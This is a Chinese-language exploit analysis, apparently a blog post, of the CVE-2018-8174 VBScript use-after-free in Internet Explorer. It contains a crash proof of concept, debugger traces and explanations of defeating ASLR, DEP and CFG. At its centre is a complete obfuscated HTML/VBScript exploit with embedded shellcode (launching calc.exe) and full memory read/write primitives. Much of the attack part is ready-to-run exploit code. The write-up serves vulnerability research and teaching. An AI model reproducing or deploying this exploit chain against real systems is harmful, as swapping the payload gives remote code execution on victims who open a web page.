UAF分析
February 13, 2019 · View on GitHub
- flow chart

- Crash POC
<html lang="en">
<body>
<script language="vbscript">
Dim array_a
Dim array_b(1)
Class Trigger
Private Sub Class_Terminate()
Set array_b(0) = array_a(1)
array_a(1) = 1
End Sub
End Class
Sub UAF
ReDim array_a(1)
Set array_a(1) = New Trigger
Erase array_a
End Sub
Sub TriggerVuln
array_b(0) = 0
End Sub
Sub StartExploit
UAF
TriggerVuln
End Sub
StartExploit
</script>
</body>
</html>
C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe /i iexplore.exe +h
pa
Current Registry Settings for iexplore.exe executable are: 02000000
hpa - Enable page heap

加log IsEmpty(),辅助分析
<html lang="en">
<body>
<script language="vbscript">
Dim array_a
Dim array_b(1)
Class Trigger
Private Sub Class_Terminate()
Set array_b(0) = array_a(1)
array_a(1) = 1
IsEmpty(array_b)
End Sub
End Class
Sub UAF
ReDim array_a(1)
Set array_a(1) = New Trigger
IsEmpty(array_a)
Erase array_a
IsEmpty("Erase Finish")
End Sub
Sub TriggerVuln
array_b(0) = 0
End Sub
Sub StartExploit
UAF
TriggerVuln
End Sub
StartExploit
</script>
</body>
</html>


到这里可以看到,array_a(1)已经指向Trigger对象,继续调试。(调到这里的时候windb hang住了,只好杀了重新调试,新的array_a 地址是 0x081affe8)

执行到第三个IsEmpty,这时候array_a和Trigger object 已经释放,array_b中还保存着对Trigger object 的引用。 随后 array_b(0) = 0访问了被释放的内存,从而触发UAF 漏洞


显然,当 array_b 还引用Trigger Object的时候,Trigger Object却随着 Erase array_a被释放了。我们来看看是哪里发生了错误。

看过伪代码后,通过调试进一步验证猜测
0:004> bl
0 e 6b1e343d 0001 (0001) 0:**** vbscript!VbsErase
1 e 6b1a5f1c 0001 (0001) 0:**** vbscript!VBScriptClass::Release
2 e 6b1a583e 0001 (0001) 0:**** vbscript!VbsIsEmpty
进入到 vbscript!VBScriptClass::Release 把上述断点disable掉,否则单步调试会断在我们不期望的地方



- 漏洞利用(pop up calc.exe)
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>
<body>
<script language="vbscript">
Dim array_a
Dim array_b(6),array_c(6)
Dim spec_int_2
Dim IIllI(40)
Dim str_1,str_2
Dim spec_int_1
Dim cla4_obj1,cla4_obj2
Dim cla6_obj1,cla7_obj1
Dim NtContinueAddr,VirtualProtectAddr
spec_int_1=&hBADF00D
str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
str_2=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
spec_int_2=&hBAD0BAD
Function IIIII(Domain)
lIlII=0
IllllI=0
IIlIIl=0
Id=CLng(Rnd*1000000)
lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
lIlII=lIlII-(&h86d+6447-&H219b)
End If
IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII
End Function
Function lIIII(ByVal lIlIl)
IIll=""
For index=0 To Len(lIlIl)-1
IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
Next
IIll=IIll &"00"
If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
IIll=IIll &"00"
End If
For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
lIIII=lIIII &"%u" &lIlIll &lIIIlI
Next
End Function
Function lIlI(ByVal Number,ByVal Length)
IIII=Hex(Number)
If Len(IIII)<Length Then
IIII=String(Length-Len(IIII),"0") &IIII 'pad allign with zeros
Else
IIII=Right(IIII,Length)
End If
lIlI=IIII
End Function
Function GetUint32(lIII)
Dim value
cla4_obj1.mem(spec_int_1+8)=lIII+4
cla4_obj1.mem(spec_int_1)=8 'type string
value=cla4_obj1.P0123456789
cla4_obj1.mem(spec_int_1)=2
GetUint32=value
End Function
Function IllIIl(lIII)
IllIIl=GetUint32(lIII) And (131071-65536)
End Function
Function lllII(lIII)
lllII=GetUint32(lIII) And (&h17eb+1312-&H1c0c)
End Function
Sub llllll
End Sub
Function GetMemValue
cla4_obj1.mem(spec_int_1)= 3
GetMemValue=cla4_obj1.mem(spec_int_1+ 8)
End Function
Sub SetMemValue(ByRef IlIIIl)
cla4_obj1.mem(spec_int_1+8)=IlIIIl
End Sub
Function LeakVBAddr
On Error Resume Next
Dim cscript_entry_point_obj
cscript_entry_point_obj=llllll
cscript_entry_point_obj=null
SetMemValue cscript_entry_point_obj
LeakVBAddr=GetMemValue()
End Function
Function GetBaseByDOSmodeSearch(IllIll)
Dim llIl
llIl=IllIll And &hffff0000
Do While GetUint32(llIl+(104))<>544106784 Or GetUint32(llIl+(108))<>542330692
llIl=llIl-65536
Loop
GetBaseByDOSmodeSearch=llIl
End Function
Function StrCompWrapper(lIII,llIlIl)
Dim lIIlI,IIIl
lIIlI=""
For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
Next
StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
End Function
Function GetBaseFromImport(base_address,name_input)
Dim import_rva,nt_header,descriptor,import_dir
Dim IIIIII
nt_header=GetUint32(base_address+(&h3c))
'IsEmpty(nt_header)
import_rva=GetUint32(base_address+nt_header+&h80)
'IsEmpty(import_rva)
import_dir=base_address+import_rva
'IsEmpty(import_dir)
descriptor=0
Do While True
Dim Name
Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
If Name=0 Then
GetBaseFromImport=&hBAAD0000
Exit Function
Else
If StrCompWrapper(base_address+Name,name_input)=0 Then
Exit Do
End If
End If
descriptor=descriptor+1
Loop
IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function
Function GetProcAddr(dll_base,name)
Dim p,export_dir,index
Dim function_rvas,function_names,function_ordin
Dim Illlll
p=GetUint32(dll_base+&h3c)
p=GetUint32(dll_base+p+&h78)
export_dir=dll_base+p
function_rvas=dll_base+GetUint32(export_dir+&h1c)
function_names=dll_base+GetUint32(export_dir+&h20)
function_ordin=dll_base+GetUint32(export_dir+&h24)
index=0
Do While True
Dim lllI
lllI=GetUint32(function_names+index*4)
If StrCompWrapper(dll_base+lllI,name)=0 Then
Exit Do
End If
index=index+1
Loop
Illlll=IllIIl(function_ordin+index*2)
p=GetUint32(function_rvas+Illlll*4)
GetProcAddr=dll_base+p
End Function
Function GetShellcode()
IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII("")))
IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
GetShellcode=IIlI
End Function
Function EscapeAddress(ByVal value)
Dim High,Low
High=lIlI((value And &hffff0000)/&h10000,4)
Low=lIlI(value And &hffff,4)
EscapeAddress=Unescape("%u" &Low &"%u" &High)
End Function
Function lIllIl
Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
IlllI=lIlI(NtContinueAddr,8)
IlIII=Mid(IlllI,1,2)
llllI=Mid(IlllI,3,2)
llIII=Mid(IlllI,5,2)
lIllI=Mid(IlllI,7,2)
IIlI=""
IIlI=IIlI &"%u0000%u" &lIllI &"00"
For IIIl=1 To 3
IIlI=IIlI &"%u" &llllI &llIII
IIlI=IIlI &"%u" &lIllI &IlIII
Next
IIlI=IIlI &"%u" &llllI &llIII
IIlI=IIlI &"%u00" &IlIII
lIllIl=Unescape(IIlI)
End Function
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
Dim IIlI
IIlI=String((100334-65536),Unescape("%u4141"))
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
IIlI=IIlI &EscapeAddress(&h3000)
IIlI=IIlI &EscapeAddress(&h40)
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
IIlI=IIlI &String(6,Unescape("%u4242"))
IIlI=IIlI &lIllIl()
IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
WrapShellcodeWithNtContinueContext=IIlI
End Function
Function ExpandWithVirtualProtect(Addr_wrap_sh_with_ntcontinue)
Dim IIlI
Dim lllllI
lllllI=Addr_wrap_sh_with_ntcontinue+&h23
IIlI=""
IIlI=IIlI &EscapeAddress(lllllI)
IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141"))
IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
IIlI=IIlI &EscapeAddress(&h1b)
IIlI=IIlI &EscapeAddress(0)
IIlI=IIlI &EscapeAddress(Addr_wrap_sh_with_ntcontinue)
IIlI=IIlI &EscapeAddress(&h23)
IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343"))
ExpandWithVirtualProtect=IIlI
End Function
Sub ExecuteShellcode
cla4_obj1.mem(spec_int_1)=&h4d 'DEP bypass
IsEmpty("set fake type 4d")
cla4_obj1.mem(spec_int_1+8)=0 '触发shellcode
msgbox(spec_int_1) 'VT replaced
End Sub
Class cla1
Private Sub Class_Terminate()
Set array_b(spec_int_2)=array_a((&h1078+5473-&H25d8))
spec_int_2=spec_int_2+(&h14b5+2725-&H1f59)
array_a((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
End Sub
End Class
Class cla2
Private Sub Class_Terminate()
Set array_c(spec_int_2)=array_a((&h15b+3616-&Hf7a))
spec_int_2=spec_int_2+(&h880+542-&Ha9d)
array_a((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
End Sub
End Class
Class cla3
End Class
Class cla4
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value
SetProp=0
End Function
End Class
Class cla5
Dim mem
Function P0123456789
P0123456789=LenB(mem(spec_int_1+8))
End Function
Function SPP
End Function
End Class
Class cla6
Public Default Property Get P
Dim cla5_obj1
P=174088534690791e-324 '4. 最后一步,将cla5_obj1.mem的type 改为array 类型
For IIIl= 0 To 6
array_b(IIIl)= 0 '1. 由于之前的UAF, array_b 保存着对cla4 object的引用,从而可以释放cla4_obj
Next
Set cla5_obj1=New cla5
cla5_obj1.mem=str_1 '2. 使用clas5 object占位, cla5_obj1.mem 为精心构造字符串,且位置与cla4_obj1.mem 相差0xc个字节
For IIIl= 0 To 6
Set array_b(IIIl)=cla5_obj1 '3. array_b 保存对cla5_obj的引用
Next
End Property
End Class
Class cla7
Public Default Property Get P
Dim cla5_obj2
P=636598737289582e-328 '将cla5_obj2.mem 的type 改为Long 类型
For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
array_c(IIIl)=(&h442+2598-&He68)
Next
Set cla5_obj2=New cla5
cla5_obj2.mem=str_2
For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
Set array_c(IIIl)=cla5_obj2
Next
End Property
End Class
Set cla6_obj1=New cla6
Set cla7_obj1=New cla7
Sub UAF
For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
Set IIllI(IIIl)=New cla3
Next
For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
Set IIllI(IIIl)=New cla4
Next
spec_int_2=0
For IIIl=0 To 6
ReDim array_a(1)
Set array_a(1)=New cla1
Erase array_a
Next
Set cla4_obj1=New cla4
spec_int_2=0
For IIIl=0 To 6
ReDim array_a(1)
Set array_a(1)=New cla2
Erase array_a
Next
Set cla4_obj2=New cla4
End Sub
Sub InitObjects
cla4_obj1.SetProp(cla6_obj1)
cla4_obj2.SetProp(cla7_obj1)
spec_int_1=cla4_obj2.mem
End Sub
Sub StartExploit
UAF
InitObjects
vb_adrr=LeakVBAddr()
vt_adrr = GetUint32(vb_adrr)
'IsEmpty(vt_adrr)
'Alert "CScriptEntryPointObject Leak: 0x" & Hex(vb_adrr) & vbcrlf & "VirtualTable address: 0x" & Hex(vt_adrr)
vbs_base=GetBaseByDOSmodeSearch(vt_adrr)
'IsEmpty(vbs_base)
'Alert "VBScript Base: 0x" & Hex(vbs_base)
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
'Alert "MSVCRT Base: 0x" & Hex(msv_base)
krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
'Alert "KernelBase Base: 0x" & Hex(krb_base)
ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
'Alert "Ntdll Base: 0x" & Hex(ntd_base)
VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
'Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr)
NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
'Alert "KernelBase!VirtualProtect Address 0x" & Hex(NtContinueAddr)
SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8
IsEmpty(ShellcodeAddr)
'Alert "Shellcode Address 0x" & Hex(ShellcodeAddr)
IsEmpty(spec_int_1)
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
Addr_wrap_sh_with_ntcontinue=GetMemValue()+69596
IsEmpty(Addr_wrap_sh_with_ntcontinue)
SetMemValue ExpandWithVirtualProtect(Addr_wrap_sh_with_ntcontinue)
Addr_expand_with_virtualprotect=GetMemValue()
IsEmpty(Addr_expand_with_virtualprotect)
'Alert "Executing Shellcode"
IsEmpty("Executing Shellcode")
ExecuteShellcode
End Sub
StartExploit
</script>
</body>
</html>
以下要关掉PageHeap再调试
- 先粗略看下VBScript中Class 结构
<html lang="en">
<body>
<script language="vbscript">
Dim X
Class TestClass
Dim a,b
Private Sub Class_Initialize
a=&h1122334
b="test string"
End Sub
Private Sub Class_Terminate
End Sub
Sub test_fun
test_fun=1
End Sub
End Class
Set X = New TestClass
IsEmpty(X)
</script>
</body>
</html>


- UAF





- InitObjects

执行前:

执行中:




同理,

- Leak CScriptEntryPointObject Address




拿到CscriptEntry 对象地址后,要想办法拿到类的虚表指针,其实也就是 [vb_addr]
这里用到的一个基础知识点是,string的length是放在string 对象的前4个字节的。 这里就不对此展开了。
Function GetUint32(lIII)
Dim value
cla4_obj1.mem(spec_int_1+8)=lIII+4
cla4_obj1.mem(spec_int_1)=8 'type string
value=cla4_obj1.P0123456789
cla4_obj1.mem(spec_int_1)=2
GetUint32=value
End Function
Bypass ALSR
拿CVE-2018-8174 中的代码片段为例,大致学习了PE结构、以及如何利用该结构bypass ALSR
参考:
https://blog.csdn.net/Apollon_krj/article/details/77069342
http://www.cnblogs.com/SkyMouse/archive/2012/05/10/2493725.html
https://blog.csdn.net/Apollon_krj/article/details/77337333
https://blog.csdn.net/evi10r/article/details/7216467
- 拿到vbs对象虚表指针后,如何得到vbscript.dll的地址?
Function GetBaseByDOSmodeSearch(IllIll)
Dim llIl
llIl=IllIll And &hffff0000
Do While GetUint32(llIl+(104))<>544106784 Or GetUint32(llIl+(108))<>542330692
llIl=llIl-65536
Loop
GetBaseByDOSmodeSearch=llIl
End Function
vbs_base=GetBaseByDOSmodeSearch(vt_adrr)

可以看到PE头部其实有很多偏移固定的值,比如MZ头、“DOS Mode”等等, 拿到vbscript中一个对象的虚表地址之后,即可向低地址遍历,寻找固定偏移的值,从而确定vbscript.dll的地址。

- 根据vbscipt.dll, 如何得到系统dll基址? 依据导入表信息!
Function StrCompWrapper(lIII,llIlIl)
Dim lIIlI,IIIl
lIIlI=""
For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
Next
StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
End Function
Function GetBaseFromImport(base_address,name_input)
Dim import_rva,nt_header,descriptor,import_dir
Dim IIIIII
nt_header=GetUint32(base_address+(&h3c))
IsEmpty(nt_header)
import_rva=GetUint32(base_address+nt_header+&h80)
IsEmpty(import_rva)
import_dir=base_address+import_rva
IsEmpty(import_dir)
descriptor=0
Do While True
Dim Name
Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
If Name=0 Then
GetBaseFromImport=&hBAAD0000
Exit Function
Else
If StrCompWrapper(base_address+Name,name_input)=0 Then
Exit Do
End If
End If
descriptor=descriptor+1
Loop
IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
PE头的最后一部分是PE文件可选头,最后0x80大小的结构体成员就描述了dll的各种数据表信息

根据上述描述,我们能确定导入表RVA相对PE header的偏移为0x80
而导入表的内容则是多个大小为0x14字节的_IMAGE_IMPORT_DESCRIPTOR组成,每个_IMAGE_IMPORT_DESCRIPTOR 对应一个dll

关注一下_IMAGE_IMPORT_DESCRIPTOR中的Name和FirstThunk字段,即可轻松获取dll名字及其导出函数地址。得到函数地址,也就能确定dll基址了。

以下调试过程即对应上述寻找思路
0:004> dd vbscript
6ae60000 00905a4d 00000003 00000004 0000ffff
6ae60010 000000b8 00000000 00000040 00000000
6ae60020 00000000 00000000 00000000 00000000
6ae60030 00000000 00000000 00000000 000000f0 偏移0x3c处,是PE头RVA
6ae60040 0eba1f0e cd09b400 4c01b821 685421cd
6ae60050 70207369 72676f72 63206d61 6f6e6e61
6ae60060 65622074 6e757220 206e6920 20534f44
6ae60070 65646f6d 0a0d0d2e 00000024 00000000
0:004> dd vbscript+000000f0
6ae600f0 00004550 0004014c 55b000b4 00000000
6ae60100 00000000 210200e0 000a010b 00056800
6ae60110 00010400 00000000 000013e5 00001000
6ae60120 00055000 6ae60000 00001000 00000200
6ae60130 00010006 00010006 00000006 00000000
6ae60140 0006a000 00000400 0007180f 01400002
6ae60150 00040000 00001000 00100000 00001000
6ae60160 00000000 00000010 000023fc 000000a5
0:004> dd 6ae600f0+0x80 导入表地址
6ae60170 00056890 00000064 0005d000 00008870
6ae60180 00000000 00000000 00000000 00000000
6ae60190 00066000 000034f0 00057628 00000038
6ae601a0 00000000 00000000 00000000 00000000
6ae601b0 00000000 00000000 00038220 00000040
6ae601c0 00000000 00000000 00001000 00000330
6ae601d0 000565cc 00000080 00000000 00000000
6ae601e0 00000000 00000000 7865742e 00000074
0:004> dd vbscript+00056890
6aeb6890 0005692c 00000000 00000000 00056920
6aeb68a0 00001000 00056a38 00000000 00000000
6aeb68b0 00056910 0000110c 00056ad4 00000000
6aeb68c0 00000000 00056900 000011a8 00056bf8 导入表内容,每0x14个字节为一个_IMAGE_IMPORT_DESCRIPTOR结构
6aeb68d0 00000000 00000000 000568f4 000012cc
6aeb68e0 00000000 00000000 00000000 00000000
6aeb68f0 00000000 52455355 642e3233 90006c6c
6aeb6900 4e52454b 32334c45 6c6c642e 90909000
0:004> da vbscript+00056920 _IMAGE_IMPORT_DESCRIPTOR结构中偏移0x10是导入dll name的RVA
6aeb6920 "msvcrt.dll"
0:004> dd vbscript+00001000 _IMAGE_IMPORT_DESCRIPTOR结构中偏移0x14指向IAT中导出函数
6ae61000 75f50d4d 75f4a5b8 75f4f95f 75f4ecf8
6ae61010 75f511e5 75f49ba1 75f4fab0 75f4ad52
6ae61020 75f4dbe0 75f5141b 75f4d9da 75f9e091
6ae61030 75f4f7fa 75f49e3a 75f50b89 75f4bfd9
6ae61040 75f4dbae 75f4f574 75f4e344 75f5012e
6ae61050 75f509e4 75f54b72 75fa6ea9 75f651da
6ae61060 75f4edef 75f4aa61 75f4c24b 75f49e5a
6ae61070 75f4b0c9 75f4fbab 75f4ff45 75f57551
- 如何Leak VirturalProtect 地址,为bypass dep做准备?
Function IllIIl(lIII)
IllIIl=GetUint32(lIII) And (131071-65536)
End Function
Function GetProcAddr(dll_base,name)
Dim p,export_dir,index
Dim function_rvas,function_names,function_ordin
Dim Illlll
p=GetUint32(dll_base+&h3c) 'PE头RVA
p=GetUint32(dll_base+p+&h78) '导出表RVA
export_dir=dll_base+p
function_rvas=dll_base+GetUint32(export_dir+&h1c) '导出函数地址表RVA
function_names=dll_base+GetUint32(export_dir+&h20) '导出函数名称表RVA
function_ordin=dll_base+GetUint32(export_dir+&h24) '导出函数序号表RVA
index=0
Do While True '遍历函数名称表,找到对应函数index
Dim lllI
lllI=GetUint32(function_names+index*4)
If StrCompWrapper(dll_base+lllI,name)=0 Then
Exit Do
End If
index=index+1
Loop
Illlll=IllIIl(function_ordin+index*2) '根据index,在导出序号表中查找函数地址序号,作为下一步查找函数地址表的索引
p=GetUint32(function_rvas+Illlll*4) '有了序号,即可定位函数地址RVA
GetProcAddr=dll_base+p
End Function
VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
导出表相对PE header的偏移为0x78,它的内部结构了解一下:
导出表0x28字节
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics; //未使用
DWORD TimeDateStamp; //时间戳
WORD MajorVersion; //未使用
WORD MinorVersion; //未使用
DWORD Name; //指向该导出表文件名字符串
DWORD Base; //导出表的起始序号
DWORD NumberOfFunctions; //导出函数的个数(更准确来说是AddressOfFunctions的元素数,而不是函数个数)
DWORD NumberOfNames; //以函数名字导出的函数个数
DWORD AddressOfFunctions; //偏移0x1c, 导出函数地址表RVA:存储所有导出函数地址(表元素宽度为4,总大小NumberOfFunctions * 4)
DWORD AddressOfNames; //偏移0x20, 导出函数名称表RVA:存储函数名字符串所在的地址(表元素宽度为4,总大小为NumberOfNames * 4)
DWORD AddressOfNameOrdinals; //偏移0x24, 导出函数序号表RVA:存储函数序号(表元素宽度为2,总大小为NumberOfNames * 2)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
地址表可能大于等于名字表,也有可能小于名字表,因为一个函数可能没有名字,也可能有多个名字。
但是一般情况下,名字表均不会大于地址表。并且一个函数必然有地址,不一定有名字,名字表和序号表一一对应。
重点关注_IMAGE_EXPORT_DIRECTORY 最后三个Address,它们的关系如下所示

windbg调试过程如下:

bypass DEP with NtContinue
参考: https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf https://www.youtube.com/watch?v=_z647GBTSlk
调试分析Leak基址后如何控制EIP, 执行shellcode
- 执行shellcode前,有几个关键地址,我们先记下来
shellcode address: 054e002c
spec_int_1 002a68b4
Addr_wrap_sh_with_ntcontinue
0:005> dd 050d1000
050d1000 054e002c 054e002c 00003000 00000040
050d1010 054e0024 42424242 42424242 42424242
050d1020 68000000 6877a055 6877a055 6877a055
050d1030 0077a055 41414141 41414141 41414141
050d1040 41414141 41414141 41414141 41414141
050d1050 41414141 41414141 41414141 41414141
050d1060 41414141 41414141 41414141 41414141
050d1070 41414141 41414141 41414141 41414141
Addr_expand_with_virtualprotect
0:005> dd 002e2f64
002e2f64 050d1023 00410041 00410041 00410041
002e2f74 00410041 00410041 00410041 00410041
002e2f84 00410041 00410041 00410041 00410041
002e2f94 00410041 00410041 00410041 00410041
002e2fa4 00410041 00410041 00410041 00410041
002e2fb4 00410041 00410041 00410041 00410041
002e2fc4 00410041 00410041 00410041 00410041
002e2fd4 00410041 00410041 00410041 00410041
- 开始分析ExecuteShellcode 函数
Sub ExecuteShellcode
cla4_obj1.mem(spec_int_1)=&h4d 'DEP bypass
IsEmpty("set fake type 4d")
cla4_obj1.mem(spec_int_1+8)=0 '触发shellcode
msgbox(spec_int_1) 'VT replaced
End Sub
cla4_obj1.mem(spec_int_1)=&h4d,则直接改变了cla4_obj1.mem(spec_int_1+8)的类型字段


cla4_obj1.mem(spec_int_1+8)出存放的是Addr_expand_with_virtualprotect
cla4_obj1.mem(spec_int_1+8) = 0, 则会释放cla4_obj1.mem(spec_int_1+8)对象

- 为什么fake type是0x4d? 为什么能成功call NtContinue?
0:005> ba e1 77a05568 -> 对NtContinue设断点

回到调用之前,对Var::Clear 设断点,深入分析


- Call NtContinue的目的是?
普及一下NtContinue 函数
NtContinue(
IN PCONTEXT ThreadContext,
IN BOOLEAN RaiseAlert );
You can use NtContinue after processing exception for continue executing thread.
typedef struct _CONTEXT
{
ULONG ContextFlags;
ULONG Dr0;
ULONG Dr1;
ULONG Dr2;
ULONG Dr3;
ULONG Dr6;
ULONG Dr7;
FLOATING_SAVE_AREA FloatSave;
ULONG SegGs;
ULONG SegFs;
ULONG SegEs;
ULONG SegDs;
ULONG Edi;
ULONG Esi;
ULONG Ebx;
ULONG Edx;
ULONG Ecx;
ULONG Eax;
ULONG Ebp;
ULONG Eip; --> EIP,偏移B8字节
ULONG SegCs;
ULONG EFlags;
ULONG Esp; --> ESP,偏移C4字节
ULONG SegSs;
UCHAR ExtendedRegisters[512];
} CONTEXT, *PCONTEXT;
简单来说,使用NtContinue可以让程序回到第一个参数指定的线程上下文中。


0:005> !address 054e002c
Failed to map Heaps (error 80004005)
Usage: <unclassified>
Allocation Base: 054e0000
Base Address: 054e0000
End Address: 05561000
Region Size: 00081000
Type: 00020000 MEM_PRIVATE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
0:005> !address 054e002c
Failed to map Heaps (error 80004005)
Usage: <unclassified>
Allocation Base: 054e0000
Base Address: 054e0000
End Address: 054e4000
Region Size: 00004000
Type: 00020000 MEM_PRIVATE
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE

